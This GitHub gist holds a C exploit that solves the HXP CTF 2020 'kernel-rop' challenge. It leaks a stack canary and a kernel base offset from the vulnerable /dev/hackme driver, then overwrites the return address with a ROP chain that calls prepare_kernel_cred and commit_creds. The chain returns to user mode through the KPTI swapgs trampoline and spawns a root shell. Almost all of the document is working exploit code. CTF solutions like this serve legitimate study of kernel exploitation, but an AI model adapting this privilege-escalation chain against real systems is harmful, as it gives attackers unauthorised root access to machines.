Last active
September 5, 2022 04:51
-
-
Save brant-ruan/ef4a2e25897f7a43137ea475d2ffd8fa to your computer and use it in GitHub Desktop.
HXP CTF 2020 >> kernel-rop | bypass SMEP with kernel ROP; bypass KPTI with modprobe; bypass KASLR with kernel offset leak; no FG-KASLR
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <signal.h> | |
char *VULN_DRV = "/dev/hackme"; | |
void spawn_shell(); | |
int64_t global_fd = 0; | |
uint64_t cookie = 0; | |
uint8_t cookie_off = 16; | |
int64_t kernel_base_offset = 0; | |
uint64_t kernel_base = 0xffffffff81000000; | |
uint64_t user_cs, user_ss, user_rflags, user_sp; | |
uint64_t user_rip = (uint64_t) spawn_shell; | |
uint64_t prepare_kernel_cred = 0xffffffff814c67f0; | |
uint64_t commit_creds = 0xffffffff814c6410; | |
uint64_t pop_rdi_ret = 0xffffffff81006370; | |
uint64_t mov_rdi_rax_clobber_rsi140_pop1_ret = 0xffffffff816bf203; | |
uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81200f10; | |
void open_dev() { | |
global_fd = open(VULN_DRV, O_RDWR); | |
if (global_fd < 0) { | |
printf("[!] failed to open %s\n", VULN_DRV); | |
exit(-1); | |
} else { | |
printf("[+] successfully opened %s\n", VULN_DRV); | |
} | |
} | |
void leak_cookie_and_kernel_offset() { | |
uint8_t sz = 40; | |
uint64_t leak[sz]; | |
printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak)); | |
uint64_t data = read(global_fd, leak, sizeof(leak)); | |
cookie = leak[cookie_off]; | |
kernel_base_offset = (leak[38] & 0xffffffffffff0000) - kernel_base; | |
printf("[+] got kernel base address offset: 0x%lx\n", kernel_base_offset); | |
printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off); | |
if(!cookie) { | |
puts("[-] failed to leak stack canary!"); | |
exit(-1); | |
} | |
} | |
void spawn_shell() { | |
puts("[+] returned to user land"); | |
uid_t uid = getuid(); | |
if (uid == 0) { | |
printf("[+] got root (uid = %d)\n", uid); | |
} else { | |
printf("[!] failed to get root (uid: %d)\n", uid); | |
exit(-1); | |
} | |
puts("[*] spawning shell"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
void save_userland_state() { | |
puts("[*] saving user land state"); | |
__asm__(".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax"); | |
} | |
void overwrite_ret() { | |
puts("[*] trying to run ROP chain and bypass KASLR with kernel offset leak"); | |
uint8_t sz = 35; | |
uint64_t payload[sz]; | |
payload[cookie_off++] = cookie; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = pop_rdi_ret + kernel_base_offset; // return address | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = prepare_kernel_cred + kernel_base_offset; | |
payload[cookie_off++] = mov_rdi_rax_clobber_rsi140_pop1_ret + kernel_base_offset; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = commit_creds + kernel_base_offset; | |
payload[cookie_off++] = swapgs_restore_regs_and_return_to_usermode + kernel_base_offset + 22; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = 0x0; | |
payload[cookie_off++] = user_rip; | |
payload[cookie_off++] = user_cs; | |
payload[cookie_off++] = user_rflags; | |
payload[cookie_off++] = user_sp; | |
payload[cookie_off++] = user_ss; | |
uint64_t data = write(global_fd, payload, sizeof(payload)); | |
puts("[-] if you can read this we failed the mission :("); | |
} | |
int main(int argc, char **argv) { | |
open_dev(); | |
leak_cookie_and_kernel_offset(); | |
save_userland_state(); | |
overwrite_ret(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment